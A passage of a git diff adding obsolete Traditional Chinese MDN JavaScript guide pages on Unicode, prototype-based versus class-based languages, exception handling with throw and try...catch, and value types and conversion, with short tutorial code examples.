+<p><a class="internal" href="/zh_tw/Gecko" title="zh tw/Gecko">Gecko</a> 的早期版本假設從 XUL 載入的 JavaScript 檔案使用的是 Latin-1 字元編碼。從 Gecko 1.8 開始，就從 XUL 檔案的編碼來推斷字元編碼。請參閱 <a class="internal" href="/zh_tw/%E5%9C%A8_XUL_JavaScript_%E4%B8%AD%E7%9A%84%E5%9C%8B%E9%9A%9B%E5%8C%96%E5%AD%97%E5%85%83" title="zh tw/在 XUL JavaScript 中的國際化字元">在 XUL JavaScript 中的國際化字元</a> 取得進一步資訊。</p>
+<h4 id="使用_Unicode_顯示字元" name="使用_Unicode_顯示字元">使用 Unicode 顯示字元</h4>
+<p>你可以使用 Unicode 顯示不同語言或專門符號的字元。為使字元正確的顯示，像 Mozilla Firefox 或 Netscape 這類客戶端也需要支援 Unicode。此外，客戶端也必須有可用的 Unicode 字型，客戶端平台也必須支援 Unicode。通常，Unicode 字型並不會顯示所有的 Unicode 字元。部分平台，如 Windows 95，只提供對 Unicode 的一部分支援。</p>
+<p>要接收非 ASCII 字元的輸入，客戶端需要把傳送進來的輸入視為 Unicode。使用標準的增強式鍵盤，客戶端無法簡單的輸入由 Unicode 支援的額外字元。在某些時候，使用 Unicode 跳脫序列輸入 Unicode 字元是唯一的輸入方法。</p>
+<p>有關 Unicode 的詳細資訊，參閱 <a class="external" href="http://www.unicode.org/">Unicode 首頁</a> 以及 1996 年由 Addison-Wesley 出版的 Unicode Standard, Version 2.0。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:字面表達", "Core_JavaScript_1.5_教學:表達式") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Unicode", "es": "es/Gu\u00eda_JavaScript_1.5/Unicode", "fr": "fr/Guide_JavaScript_1.5/Unicode", "ja": "ja/Core_JavaScript_1.5_Guide/Unicode", "ko": "ko/Core_JavaScript_1.5_Guide/Unicode", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Unicode" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/以類別為基礎的語言_vs._以原型為基礎的語言/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/以類別為基礎的語言_vs._以原型為基礎的語言/index.html
new file mode 100644
index 0000000000..084833ad3c
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/以類別為基礎的語言_vs._以原型為基礎的語言/index.html
@@ -0,0 +1,27 @@
+---
+title: 以類別為基礎的語言 vs. 以原型為基礎的語言
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/以類別為基礎的語言_vs._以原型為基礎的語言
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<h3 id="以類別為基礎的語言_vs._以原型為基礎的語言" name="以類別為基礎的語言_vs._以原型為基礎的語言">以類別為基礎的語言 vs. 以原型為基礎的語言</h3>
+<p>以類別為基礎的語言，如 Java 和 C++，是以兩種不同實體的概念為根基︰類別（Class）和實體（Instance）。</p>
+<ul> <li>類別定義了所有的屬性（就 Java 的方法和欄位以及 C++ 的成員而論），刻劃出明確的物件集合。類別是抽象的事物，而不是任何他所刻劃的物件集合的實際成員。例如，Employee 類別可以代表所有職員的集合。</li> <li>實體從另一個角度來看就是類別的實際例證；也就是類別成員的其中一者。例如，Victoria 可以是 Employee 類別的實體，代表作為職員的獨特個體。實體恰好有親類別的屬性（且不多也不少）。</li>
+</ul>
+<p>以原型為基礎的語言，如 JavaScript，並沒有這些分別︰他簡單到只有物件。以原型為基礎的語言具有原型物件的概念。物件被當作模板來使用，從中取得最初的屬性以提供給新物件。不論是在你建立物件或執行時期的時候，任何物件都可以指定他自己的屬性。此外，任何物件都可以作為其他物件的原型而連繫起來，讓第二個物件共用第一個物件的屬性。</p>
+<h4 id="類別的定義" name="類別的定義">類別的定義</h4>
+<p>在以類別為基礎的語言中，你會在獨立的類別定義中定義類別。在這些定義中，你可以指定稱為建構子的特殊方法，用來建立類別的實體。建構子方法可以為實體的屬性指定初始值，並進行在建立時期的其他適當處理。你會使用 new 運算子配合建構子方法來建立類別的實體。</p>
+<p>JavaScript 遵從類似的模型，但是建構子和其他類別的定義並沒有分別。取而代之，你會定義建構子函數來建立帶有特定初始值的一組屬性和值的物件。任何的 JavaScript 函數都可以用作建構子。你會使用 new 運算子配合建構子函數來建立新的物件。</p>
+<h4 id="子類別和繼承" name="子類別和繼承">子類別和繼承</h4>
+<p>在以類別為基礎的語言中，你會建立出類別定義整體的類別階層。在類別的定義中，你可以把新的類別指定為另一個既存類別的子類別。這個子類別會繼承親類別所有的屬性，也可以另外加入新的屬性或修改繼承下來的。例如，假定 Employee 類別只含有 name 和 dept 屬性，而 Manager 是 Employee 的子類別，且加入了 reports 屬性。在這個情況下，Manager 類別的實體將具有全部的三個屬性︰name、dept、reports。</p>
+<p>JavaScript 可讓你把任意的建構子函數和原型物件連結在一起，以此實現繼承。因此，你可以準確的建立出 Employee 和 Manager 的範例，但是你會使用有點不一樣的術語。首先，你會定義 Employee 的建構子函數，指定 name 和 dept 屬性。接著，你會定義 Manager 的建構子函數，指定 reports 屬性。最後，你會把新的 Employee 物件作為原型代入給 Manager 的建構子函數。然後，當你建立新的 Manager 的時候，他就會從 Employee 物件繼承 name 和 dept 屬性。</p>
+<h4 id="屬性的加入和移除" name="屬性的加入和移除">屬性的加入和移除</h4>
+<p>在以類別為基礎的語言中，你通常會在編譯時期建立類別，然後你會在編譯時期或執行時期實體化類別的實體。在你定義了類別以後，你就不能改變類別的屬性的類型或數目。然而在JavaScript 中，你可以在執行時期加入或移除任何物件的屬性。如果你把屬性加入到用作為一整群物件的原型的物件裡，使用同一個原型的物件也會得到新的屬性。</p>
+<h4 id="不同點的摘要" name="不同點的摘要">不同點的摘要</h4>
+<p>下表給出了這些不同點的簡短摘要。本章的剩餘部分描述了使用 JavaScript 的建構子和原型來建立物件的階層，並和 Java 的做法來做比較。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>以類別為基礎 (Java)</th> <th>以原型為基礎 (JavaScript)</th> </tr> <tr> <td>類別和實體這兩者有分別。</td> <td>所有的物件都是實體。</td> </tr> <tr> <td>使用類別定義來定義類別；使用建構子方法來把類別實體化。</td> <td>使用建構子函數來定義並建立一整群物件。</td> </tr> <tr> <td>使用 <code>new</code> 運算子來建立單一的物件。</td> <td>相同。</td> </tr> <tr> <td>使用類別定義來建構物件的階層，用以定義既存類別的子類。</td> <td>藉由代入，把作為原型的物件和建構子函數連結起來，來建構出物件的階層。</td> </tr> <tr> <td>藉由遵從類別鏈來繼承屬性。</td> <td>藉由遵從原型鏈來繼承屬性。</td> </tr> <tr> <td>類別定義指定了類別的所有實體的所有屬性。不能在執行時期動態的加入屬性。</td> <td>建構子函數或原型指定並初始化了一系列屬性。可以給單獨的物件或一整組物件來動態的加入或移除屬性。</td> </tr> </tbody>
+</table>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:迭代器和產生器", "Core_JavaScript_1.5_教學:職員的例子") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages", "es": "es/Gu\u00eda_JavaScript_1.5/Lenguajes_basados_en_clases_frente_a_basados_en_prototipos", "fr": "fr/Guide_JavaScript_1.5/Langages_bas\u00e9s_sur_les_classes_et_langages_bas\u00e9s_sur_les_prototypes", "ja": "ja/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/J\u0119zyki_oparte_na_klasach_vs._oparte_na_prototypach", "zh-cn": "cn/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/index.html
new file mode 100644
index 0000000000..9f369cbcac
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/index.html
@@ -0,0 +1,39 @@
+---
+title: 例外處理語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/例外處理語法
+---
+<h3 id="例外處理語法" name="例外處理語法">例外處理語法</h3>
+<p>你可以使用 <code>throw</code> 語法來拋出例外，並使用 <code>try...catch</code> 語法來處理例外。</p>
+<p>你也可以使用 <code>try...catch</code> 語法來處理 Java 的例外。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E5%BE%9E_JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A#%E5%9C%A8_JavaScript_%E4%B8%AD%E8%99%95%E7%90%86_Java_%E7%9A%84%E4%BE%8B%E5%A4%96" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/從 JavaScript 向 Java 的通訊#在 JavaScript 中處理 Java 的例外">在 JavaScript 中處理 Java 的例外</a> 和 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E5%BE%9E_JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/從 JavaScript 向 Java 的通訊">從 JavaScript 向 Java 的通訊</a> 取得資訊。</p>
+<ul>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E4%BE%8B%E5%A4%96%E8%99%95%E7%90%86%E8%AA%9E%E6%B3%95/throw_%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/例外處理語法/throw 語法">throw 語法</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E4%BE%8B%E5%A4%96%E8%99%95%E7%90%86%E8%AA%9E%E6%B3%95/try...catch_%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/例外處理語法/try...catch 語法">try...catch 語法</a></li>
+</ul>
+<h3 id="例外的類型" name="例外的類型">例外的類型</h3>
+<p>在此列出 JavaScript 中所有可以拋出的物件。不過並非所有的可拋出物件都以同樣方式產生。雖然只是非常普通的拋出數字或字串來表示錯誤，只使用其中幾個特別為某些用途而產生的例外的類型，往往會更加有效率︰</p>
+<ul>
+ <li>ECMAScript 的例外︰
+  <ul>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/Error" title="zh tw/Core JavaScript 1.5 教學/Error">Error</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/EvalError" title="zh tw/Core JavaScript 1.5 教學/EvalError">EvalError</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/RangeError" title="zh tw/Core JavaScript 1.5 教學/RangeError">RangeError</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/ReferenceError" title="zh tw/Core JavaScript 1.5 教學/ReferenceError">ReferenceError</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/SyntaxError" title="zh tw/Core JavaScript 1.5 教學/SyntaxError">SyntaxError</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/TypeError" title="zh tw/Core JavaScript 1.5 教學/TypeError">TypeError</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/URIError" title="zh tw/Core JavaScript 1.5 教學/URIError">URIError</a></li>
+  </ul>
+ </li>
+ <li>DOM 的例外︰
+  <ul>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/DOMException" title="zh tw/Core JavaScript 1.5 教學/DOMException">DOMException</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/EventException" title="zh tw/Core JavaScript 1.5 教學/EventException">EventException</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/RangeException" title="zh tw/Core JavaScript 1.5 教學/RangeException">RangeException</a></li>
+   <li>... (?)</li>
+  </ul>
+ </li>
+ <li><a class="internal" href="/zh_tw/nsIXPCException" title="zh tw/nsIXPCException">nsIXPCException</a> (<a class="internal" href="/zh_tw/XPConnect" title="zh tw/XPConnect">XPConnect</a>)</li>
+</ul>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:註解", "Core_JavaScript_1.5_教學:例外處理語法:throw_語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/throw_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/throw_語法/index.html
new file mode 100644
index 0000000000..83230830e6
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/throw_語法/index.html
@@ -0,0 +1,34 @@
+---
+title: throw 語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/例外處理語法/throw_語法
+---
+<h3 id="throw_語法" name="throw_語法">throw 語法</h3>
+<p>使用 <code>throw</code> 語法來拋出例外。當你準備要拋出例外時，指定內含想要拋出的值的表達式︰</p>
+<pre class="eval">throw expression;
+</pre>
+<p>你可以拋出任何的表達式，而不只是特定類型的表達式。以下代碼拋出各式各樣的例外︰</p>
+<pre class="eval">throw "Error2";
+throw 42;
+throw true;
+throw {toString: function() { return "I'm an object!"; } };
+</pre>
+<div class="note">
+ <strong>附註:</strong> 當拋出例外時，還可以指定物件。然後可以在 <code>catch</code> 區塊裡參考物件的屬性。以下範例建立 <code>UserException</code> 類型的物件 <code>myUserException</code>，並使用在拋出語法之中。</div>
+<pre class="eval">// 建立類型為 UserException 的物件
+function UserException (message)
+{
+  this.message=message;
+  this.name="UserException";
+}
+
+// 當用來當作字串時（例如，用於錯誤控制台），
+// 就把例外轉換成適當的字串。
+UserException.prototype.toString = function ()
+{
+  return this.name + ': "' + this.message + '"';
+}
+
+// 建立那一種物件類型的實體，並拋出
+throw new UserException("Value too high");
+</pre>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/try...catch_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/try...catch_語法/index.html
new file mode 100644
index 0000000000..2bc150c6fc
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/例外處理語法/try...catch_語法/index.html
@@ -0,0 +1,162 @@
+---
+title: try...catch 語法
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/例外處理語法/try...catch_語法
+---
+<h3 id="try...catch_語法" name="try...catch_語法">try...catch 語法</h3>
+
+<p><code>try...catch</code> 語法標記出一整塊需要測試的語句，並指定一個以上的回應方法，萬一有例外拋出時，<code>try...catch</code> 語句就會捕捉。</p>
+
+<p><code>try...catch</code> 語法由 <code>try</code> 區塊所組成，其中內含一個以上的語句，和零個以上的 <code>catch</code> 區塊，其中內含語句用來指明當例外在 try 區塊裡拋出時要做些什麼。也就是當你希望 <code>try</code> 區塊成功，但如果他不成功時，你會想要把控制權移交給 <code>catch</code> 區塊。如果任何在 <code>try</code> 區塊內部裡的語句（或者在 <code>try</code> 區塊內部呼叫的函數裡）拋出例外，控制權將立即轉移給 <code>catch</code> 區塊。如果沒有例外從 <code>try</code> 區塊裡拋出，就會跳過 <code>catch</code> 區塊。<code>finally</code> 區塊會在 <code>try</code> 或 <code>catch</code> 區塊執行之後才執行，但會在 <code>try...catch</code> 語法後面的語句之前執行。</p>
+
+<p>以下範例使用 <code>try...catch</code> 語法。本範例呼叫函數，這個函數是用來在陣列裡根據傳給函數的值來查詢月份的名稱。如果傳入的值不符合月份的數字 (1-12)，就會拋出值為 <code>InvalidMonthNo</code> 的例外，而且在 <code>catch</code> 區塊裡的語句會把 <code>monthName</code> 變數設定為 <code>unknown</code>。</p>
+
+<pre class="notranslate">function getMonthName (mo) {
+    mo=mo-1; // 針對陣列索引調整月份的數字 (1=Jan, 12=Dec)
+    var months=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul",
+          "Aug","Sep","Oct","Nov","Dec");
+    if (months[mo] != null) {
+       return months[mo]
+    } else {
+       throw "InvalidMonthNo"
+    }
+}
+
+try {
+// 需要測試的語句
+    monthName=getMonthName(myMonth) // 可拋出例外的函數
+}
+catch (e) {
+    monthName="unknown"
+    logMyErrors(e) // 把例外物件傳給錯誤處理器
+}
+</pre>
+
+<h4 id="catch_區塊" name="catch_區塊">catch 區塊</h4>
+
+<p>你可以使用單一的 <code>catch</code> 區塊來處理所有在 <code>try</code> 區塊裡可能會產生的例外，或者你也可以使用分離的 <code>catch</code> 區塊，每一個皆各自處理特定的例外類型。</p>
+
+<p><strong>單一 catch 區塊</strong><br>
+ 使用單一 <code>try...catch</code> 語法的 <code>catch</code> 區塊針對在 <code>try</code> 區塊裡拋出的所有例外來執行錯誤處理的代碼。</p>
+
+<p>單一的 <code>catch</code> 區塊語句如下︰</p>
+
+<pre class="notranslate">catch (catchID) {
+  statements
+}
+</pre>
+
+<p><code>catch</code> 區塊所指定的識別子（前面語句裡的 <code>catchID</code>）持有由 <code>throw</code> 語法所指定的值。你可以使用這個識別子來取得有關於被拋出的例外的資訊。當進入 <code>catch</code> 區塊時，JavaScript 就會建立這個識別子。識別子只能在 <code>catch</code> 區塊的期間內持續作用。<code>catch</code> 區塊執行結束以後，識別子就不再能使用。</p>
+
+<p>舉例來說，以下代碼會拋出例外。當例外出現的時候，控制權就轉移給 <code>catch</code> 區塊。</p>
+
+<pre class="notranslate">try {
+   throw "myException" // 產生例外
+}
+catch (e) {
+// 用來處理任何例外的語句
+   logMyErrors(e) // 把例外物件傳給錯誤處理器
+}
+</pre>
+
+<p><strong>多重 catch 區塊</strong><br>
+ 單一的 <code>try</code> 語句可以對應複數個有前提條件的 <code>catch</code> 區塊，每一個皆可處理特定的例外的類型。於是，當指定的的例外被拋出時，就只會進入適當條件的 <code>catch</code> 區塊。你也可以針對所有未指定的例外，使用選用性的對應所有例外的 <code>catch</code> 區塊來作為語法裡最後一個的 catch 區塊。</p>
+
+<p>舉例來說，以下函數呼叫三個其他的函數（已在別處定義了）來檢驗自己的參數。如果檢驗函數判斷出他所要檢驗的元素是無效的話，他就返回 0，導致呼叫者拋出對應的例外。</p>
+
+<pre class="notranslate">function getCustInfo(name, id, email)
+{
+   var n, i, e;
+
+   if (!validate_name(name))
+       throw "InvalidNameException"
+   else
+       n = name;
+       if (!validate_id(id))
+          throw "InvalidIdException"
+       else
+          i = id;
+       if (!validate_email(email))
+          throw "InvalidEmailException"
+       else
+          e = email;
+       cust = (n + " " + i + " " + e);
+       return (cust);
+}
+</pre>
+
+<p>有各種條件的 <code>catch</code> 區塊會把控制權安排給適當的例外處理器。</p>
+
+<pre class="notranslate">try {
+// 可以拋出三個例外的函數
+   getCustInfo("Lee", 1234, "lee@netscape.com")
+}
+
+catch (e if e == "InvalidNameException") {
+// 針對無效的名稱呼叫處理器
+   bad_name_handler(e)
+}
+
+catch (e if e == "InvalidIdException") {
+// 針對無效的 ID 呼叫處理器
+   bad_id_handler(e)
+}
+
+catch (e if e == "InvalidEmailException") {
+// 針對無效的電子郵件位址呼叫處理器
+   bad_email_handler(e)
+}
+
+catch (e){
+// 不知道該做什麼，就記在日誌裡
+   logError(e)
+}
+</pre>
+
+<h4 id="finally_區塊" name="finally_區塊">finally 區塊</h4>
+
+<p><code>finally</code> 區塊內含的語句，會在 try 和 catch 區塊執行以後、並在 <code>try...catch</code> 語法後面的語句之前來執行。無論有沒有被拋出的例外，<code>finally</code> 區塊都會執行。如果有被拋出的例外，即使沒有 catch 區塊來處理這些例外，還是會執行 <code>finally</code> 區塊裡的語句。</p>
+
+<p>當出現例外時，你可以使用 <code>finally</code> 區塊來使你的 Script 優美的停止。舉例來說，你可能需要釋放 Script 所佔用的資源。以下範例開啟了檔案，並執行使用這個檔案（伺服端的 JavaScript 可讓你存取檔案）的語句。如果在開啟檔案時有例外被拋出，<code>finally</code> 區塊會在 Script 停止之前把檔案關閉。</p>
+
+<pre class="notranslate">openMyFile();
+try {
+   writeMyFile(theData); // 這裡有可能拋出錯誤
+}catch(e){
+   handleError(e); // 如果我們得到錯誤，就處理他
+}finally {
+   closeMyFile(); // 永遠會關閉這項資源
+}
+</pre>
+
+<h4 id="try...catch_語法的嵌套" name="try...catch_語法的嵌套">try...catch 語法的嵌套</h4>
+
+<p>你可以嵌套一個以上的 <code>try...catch</code> 語法。如果有一個內部的 <code>try...catch</code> 語法沒有 catch 區塊，圍住這些 <code>try...catch</code> 語法的 catch 區塊就會被用來比對。</p>
+
+<h4 id="Error_物件的用處" name="Error_物件的用處">Error 物件的用處</h4>
+
+<p>根據錯誤的類型，你有可能使用 “name” 和 “message” 屬性來取得更多明確的訊息。“name” 提供錯誤的一般類別（例如，“DOMException” 或 “Error”），“message” 通常提供更為簡練的訊息，如此就能把錯誤物件轉換為字串來取得訊息。</p>
+
+<p>如果你要拋出你自己的例外，以從這些屬性取得好處（例如，如果你的 catch 區塊不區分你自己的例外和系統的例外的話），你可以使用錯誤建構子。例如︰</p>
+
+<pre class="notranslate">function doSomethingErrorProne () {
+   if (ourCodeMakesAMistake()) {
+      throw (new Error('The message'));
+   }
+   else {
+      doSomethingToGetAJavascriptError();
+   }
+}
+....
+try {
+   doSomethingErrorProne();
+}
+catch (e) {
+   alert(e.name);// 警報 'Error'
+   alert(e.message); // 警報 'The message' 或 JavaScript 錯誤訊息
+}
+</pre>
+
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:例外處理語法:throw_語法", "Core_JavaScript_1.5_教學:函數的定義") }}</p>
+</div>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/值/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/值/index.html
new file mode 100644
index 0000000000..a59a06f911
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/值/index.html
@@ -0,0 +1,29 @@
+---
+title: 值
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/值
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p> </p>
+<h3 id="值" name="值">值</h3>
+<p>JavaScript 識別下列值的類型︰</p>
+<ul> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E6%95%B8%E5%80%BC" title="zh tw/Core JavaScript 1.5 參考/全域物件/數值">數值</a>，如 42 或 3.14159</li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E5%B8%83%E6%9E%97" title="zh tw/Core JavaScript 1.5 參考/全域物件/布林">邏輯值（布林）</a>，<code>true</code> 或 <code>false</code></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E5%AD%97%E4%B8%B2" title="zh tw/Core JavaScript 1.5 參考/全域物件/字串">字串</a>，如 "Howdy!"</li> <li><code>null</code>，用來表示空值的特殊關鍵字；<code>null</code> 也是一個原始值。由於 JavaScript 區分大小寫，<code>null</code> 與 <code>Null</code>、<code>NULL</code> 等變體並不相同</li> <li><code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E5%B1%AC%E6%80%A7/undefined" title="zh tw/Core JavaScript 1.5 參考/全域屬性/undefined">undefined</a></code>，一個值為未定義的頂級屬性；<code>undefined</code> 也是一個原始值。</li>
+</ul>
+<p>這是相對來說比較小的一組值的類型，也就是<em>資料類型</em>，可讓你的應用程式發揮出有用的功能。整數和實數之間並沒有明顯的區別。在 JavaScript 中也沒有明確的日期資料類型。不過你還是可以使用 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E6%97%A5%E6%9C%9F" title="zh tw/Core JavaScript 1.5 參考/全域物件/日期">Date</a></code> 物件及其方法來處理日期。<a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E7%89%A9%E4%BB%B6" title="zh tw/Core JavaScript 1.5 參考/全域物件/物件">物件</a> 和 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/%E5%87%BD%E6%95%B8" title="zh tw/Core JavaScript 1.5 參考/全域物件/函數">函數</a> 也是語言的基礎元素。你可以把物件想成已命名的值的容器，而函數是使程式可以執行的處理程序。</p>
+<h4 id="資料類型的轉換" name="資料類型的轉換">資料類型的轉換</h4>
+<p>JavaScript 是動態類型的語言。這表示當你宣告變數時，你不必指定變數的資料類型，而且資料類型會在 Script 執行過程中按需要自動的轉換。所以，舉例如下，你可以如下定義變數︰</p>
+<pre class="brush: js">var answer = 42;
+</pre>
+<p>然後，你可以把字串值代入給值，如下︰</p>
+<pre>answer = "Thanks for all the fish...";
+</pre>
+<p>因為 JavaScript 的類型是動態的，這個代入的代碼不會引起錯誤訊息。</p>
+<p>在含有數值和字串值並介以 + 運算子的表達式中，JavaScript 把數值轉換為字串。例如，考慮下面的語句︰</p>
+<pre class="eval">x = "The answer is " + 42 // 返回 "The answer is 42"
+y = 42 + " is the answer" // 返回 "42 is the answer"
+</pre>
+<p>在含有其他運算子的語句裡，JavaScript 不會把數值轉換為字串。例如︰</p>
+<pre class="eval">"37" - 7 // 返回 30
+"37" + 7 // 返回 "377"
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:JavaScript_概要", "Core_JavaScript_1.5_教學:變數") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Values", "es": "es/Gu\u00eda_JavaScript_1.5/Valores", "fr": "fr/Guide_JavaScript_1.5/Valeurs", "ja": "ja/Core_JavaScript_1.5_Guide/Values", "ko": "ko/Core_JavaScript_1.5_Guide/Values", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Warto\u015bci", "zh-cn": "cn/Core_JavaScript_1.5_Guide/Values" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/index.html
new file mode 100644
index 0000000000..41833a70b3
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/index.html
@@ -0,0 +1,13 @@
+---
+title: 再談屬性的繼承
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/再談屬性的繼承
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<h3 id="再談屬性的繼承" name="再談屬性的繼承">再談屬性的繼承</h3>
+<p>前面的章節說明了 JavaScript 建構子和原型如何提供階層組織和實體。本節將會討論一些稍早的討論中所看不到的細微差別。</p>
+<ul> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%86%8D%E8%AB%87%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF/%E5%B1%80%E5%9F%9F%E5%80%BC%E5%92%8C%E7%B9%BC%E6%89%BF%E5%80%BC" title="zh_tw/Core_JavaScript_1.5_教學/再談屬性的繼承/局域值和繼承值">局域值和繼承值</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%86%8D%E8%AB%87%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF/%E5%AF%A6%E9%AB%94%E9%97%9C%E4%BF%82%E7%9A%84%E7%A2%BA%E5%AE%9A" title="zh_tw/Core_JavaScript_1.5_教學/再談屬性的繼承/實體關係的確定">實體關係的確定</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%86%8D%E8%AB%87%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF/%E5%BB%BA%E6%A7%8B%E5%AD%90%E4%B8%AD%E7%9A%84%E5%85%A8%E5%9F%9F%E8%B3%87%E8%A8%8A" title="zh_tw/Core_JavaScript_1.5_教學/再談屬性的繼承/建構子中的全域資訊">建構子中的全域資訊</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%86%8D%E8%AB%87%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF/%E6%B2%92%E6%9C%89%E5%A4%9A%E9%87%8D%E7%B9%BC%E6%89%BF" title="zh tw/Core JavaScript 1.5 